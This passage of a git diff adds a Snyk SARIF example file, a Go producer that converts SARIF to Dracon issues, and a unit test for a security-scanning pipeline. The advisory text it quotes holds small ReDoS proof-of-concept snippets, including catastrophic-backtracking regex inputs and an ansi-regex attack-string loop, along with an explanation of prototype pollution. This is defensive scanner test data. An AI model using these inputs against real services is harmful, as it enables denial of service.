(DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `prompts` to version 2.4.2 or higher.\n# References\n- [GitHub PR](https://github.com/terkelg/prompts/pull/333)\n- [GitHub Release](https://github.com/terkelg/prompts/releases/tag/v2.4.2)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-TERSER-2806366", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in terser" + }, + "fullDescription": { + "text": "(CVE-2022-25858) terser@5.10.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: terser\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › terser-webpack-plugin@5.3.0 › terser@5.10.0\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › html-webpack-plugin@5.5.0 › html-minifier-terser@6.1.0 › terser@5.10.0\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › workbox-webpack-plugin@6.4.2 › workbox-build@6.4.2 › rollup-plugin-terser@7.0.2 › terser@5.10.0\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.\r\n\r\n# PoC:\r\n```js\r\necho 'console.log(/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\"))' | npx terser -mc unsafe=true\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `terser` to version 4.8.1, 5.14.2 or higher.\n# References\n- [GitHub Commit](https://github.com/terser/terser/commit/a4da7349fdc92c05094f41d33d06d8cd4e90e76b)\n- [GitHub Commit](https://github.com/terser/terser/commit/d8cc5691be980d663c29cc4d5ce67e852d597012)\n- [Vulnerable Code](https://github.com/terser/terser/blob/master/lib/compress/evaluate.js#L135)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-UGLIFYJS-1727251", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in uglify-js" + }, + "fullDescription": { + "text": "uglify-js@2.7.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: uglify-js\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › webpack@1.15.0 › uglify-js@2.7.5\n# Overview\n[uglify-js](http://npmjs.com/package/uglify-js) is a JavaScript parser, minifier, compressor and beautifier toolkit.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `string_template` and the `decode_template` functions.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `uglify-js` to version 3.14.3 or higher.\n# References\n- [GitHub Commit](https://github.com/mishoo/UglifyJS/commit/157521066fc43cff2feab7ffc1ecea603617606b)\n- [GitHub Issue](https://github.com/mishoo/UglifyJS/issues/5133)\n- [GitHub PR](https://github.com/mishoo/UglifyJS/pull/5134)\n- [GitHub PR](https://github.com/mishoo/UglifyJS/pull/5135)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-UNSETVALUE-2400660", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in unset-value" + }, + "fullDescription": { + "text": "unset-value@1.0.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: unset-value\n* Introduced through: spyros-frontend@1.0.0, awesome-typescript-loader@5.2.1 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › awesome-typescript-loader@5.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0\n# Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `unset` function in `index.js`, because it allows access to object prototype properties.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n# Remediation\nUpgrade `unset-value` to version 2.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/jonschlinkert/unset-value/pull/12/commits/abb534769f6ea62c3dd988f5ce0a4ebd1f91b561)\n- [GitHub Issue](https://github.com/jonschlinkert/unset-value/issues/11)\n- [GitHub PR](https://github.com/jonschlinkert/unset-value/pull/12)\n- [GitHub Release](https://github.com/jonschlinkert/unset-value/releases)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "yarn" + ] + } + }, + { + "id": "npm:braces:20180219", + "shortDescription": { + "text": "Low severity - Regular Expression Denial of Service (ReDoS) vulnerability in braces" + }, + "fullDescription": { + "text": "(CVE-2018-1109) braces@1.8.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: braces\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5\n# Overview\n[braces](https://www.npmjs.com/package/braces) is a Bash-like brace expansion, implemented in JavaScript.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (`^\\{(,+(?:(\\{,+\\})*),*|,*(?:(\\{,+\\})*),+)\\}`) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.\r\n\r\n# Disclosure Timeline\r\n* Feb 15th, 2018 - Initial Disclosure to package owner\r\n* Feb 16th, 2018 - Initial Response from package owner\r\n* Feb 18th, 2018 - Fix issued\r\n* Feb 19th, 2018 - Vulnerability published\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `braces` to version 2.3.1 or higher.\n# References\n- [GitHub Commit](https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-185", + "CWE-400", + "yarn" + ] + } + } + ] + } + }, + "results": [ + { + "ruleId": "SNYK-JS-ANSIREGEX-1583908", + "level": "error", + "message": { + "text": "This file introduces a vulnerable ansi-regex package with a high severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "package.json" + }, + "region": { + "startLine": 1 + } + } + } + ] + }, + { + "ruleId": "SNYK-JS-ASYNC-2441827", + "level": "error", + "message": { + "text": "This file introduces a vulnerable async package with a high severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "package.json" + }, + "region": { + "startLine": 1 + } + } + } + ] + }, + { + "ruleId": "SNYK-JS-CSSWHAT-1298035", + "level": "warning", + "message": { + "text": "This file introduces a vulnerable css-what package with a medium severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "package.json" + }, + "region": { + "startLine": 1 + } + } + } + ] + }, + { + "ruleId": "SNYK-JS-D3COLOR-1076592", + "level": "warning", + "message": { + "text": "This file introduces a vulnerable d3-color package with a medium severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "package.json" + }, + "region": { + "startLine": 1 + } + } + } + ] + }, + { + "ruleId": "SNYK-JS-EJS-2803307", + "level": "error", + "message": { + "text": "This file introduces a vulnerable ejs package with a high severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "package.json" + }, + "region": { + "startLine": 1 + } + } + } + ] + } + + ] + } + ] +} diff --git a/components/producers/snyk-docker/main.go b/components/producers/snyk-docker/main.go new file mode 100644 index 000000000..1912bf482 --- /dev/null +++ b/components/producers/snyk-docker/main.go @@ -0,0 +1,59 @@ +package main + +import ( + "log" + "log/slog" + + v1 "github.com/ocurity/dracon/api/proto/v1" + "github.com/ocurity/dracon/components/producers" + "github.com/ocurity/dracon/pkg/sarif" +) + +func main() { + + if err := producers.ParseFlags(); err != nil { + log.Fatal(err) + } + producers.Append = true + + inFile, err := producers.ReadInFile() + if err != nil { + log.Fatal(err) + } + results, err := processInput(string(inFile)) + if err != nil { + log.Fatal(err) + } + if err := writeOutput(results); err != nil { + log.Fatal(err) + } +} + +func writeOutput(results map[string][]*v1.Issue) error { + for _, issues := range results { + slog.Info( + "appending", + slog.Int("issues", len(issues)), + slog.String("tool", "snuk"), + ) + if err := producers.WriteDraconOut( + "snyk", + issues, + ); err != nil { + slog.Error("error writing dracon out for the snyk tool", "err", err) + } + } + return nil +} + +func processInput(input string) (map[string][]*v1.Issue, error) { + issues, err := sarif.ToDracon(string(input)) + if err != nil { + return nil, err + } + results := map[string][]*v1.Issue{} + for _, output := range issues { + results[output.ToolName] = append(results[output.ToolName], output.Issues...) + } + return results, nil +} diff --git a/components/producers/snyk-docker/main_test.go b/components/producers/snyk-docker/main_test.go new file mode 100644 index 000000000..3f4b03523 --- /dev/null +++ b/components/producers/snyk-docker/main_test.go @@ -0,0 +1,181 @@ +package main + +import ( + "os" + "path/filepath" + "testing" + + "google.golang.org/protobuf/proto" + + "github.com/stretchr/testify/require" + + v1 "github.com/ocurity/dracon/api/proto/v1" + "github.com/ocurity/dracon/components/producers" +) + +const inputPath = "exampleData/snyk-example.sarif" + +func TestProcessInput(t *testing.T) { + input, err := os.ReadFile(inputPath) + require.NoError(t, err) + results, err := processInput(string(input)) + require.NoError(t, err) + expected := map[string][]*v1.Issue{ + "Snyk Open Source": { + { + Target: "package.json:1-1", + Type: "SNYK-JS-ANSIREGEX-1583908", + Title: "This file introduces a vulnerable ansi-regex package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Cvss: 0, + Confidence: v1.Confidence_CONFIDENCE_UNSPECIFIED, + Description: "MatchedRule: {\"id\":\"SNYK-JS-ANSIREGEX-1583908\",\"shortDescription\":{\"text\":\"High severity - Regular Expression Denial of Service (ReDoS) vulnerability in ansi-regex\"},\"fullDescription\":{\"text\":\"(CVE-2021-3807) ansi-regex@2.1.1\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: ansi-regex\\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › wide-align@1.1.3 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › cli-table3@0.6.0 › string-width@4.2.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › jest@27.4.7 › @jest/core@27.4.7 › @jest/reporters@27.4.6 › string-length@4.0.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\\n# Overview\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\\\\\d\\\\\\\\/#\\u0026.:=?%@~_]*)*`.\\r\\n\\r\\n\\r\\n## PoC\\r\\n```js\\r\\nimport ansiRegex from 'ansi-regex';\\r\\n\\r\\nfor(var i = 1; i \\u003c= 50000; i++) {\\r\\n var time = Date.now();\\r\\n var attack_str = \\\"\\\\u001B[\\\"+\\\";\\\".repeat(i*10000);\\r\\n ansiRegex().test(attack_str)\\r\\n var time_cost = Date.now() - time;\\r\\n console.log(\\\"attack_str.length: \\\" + attack_str.length + \\\": \\\" + time_cost+\\\" ms\\\")\\r\\n}\\r\\n```\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps 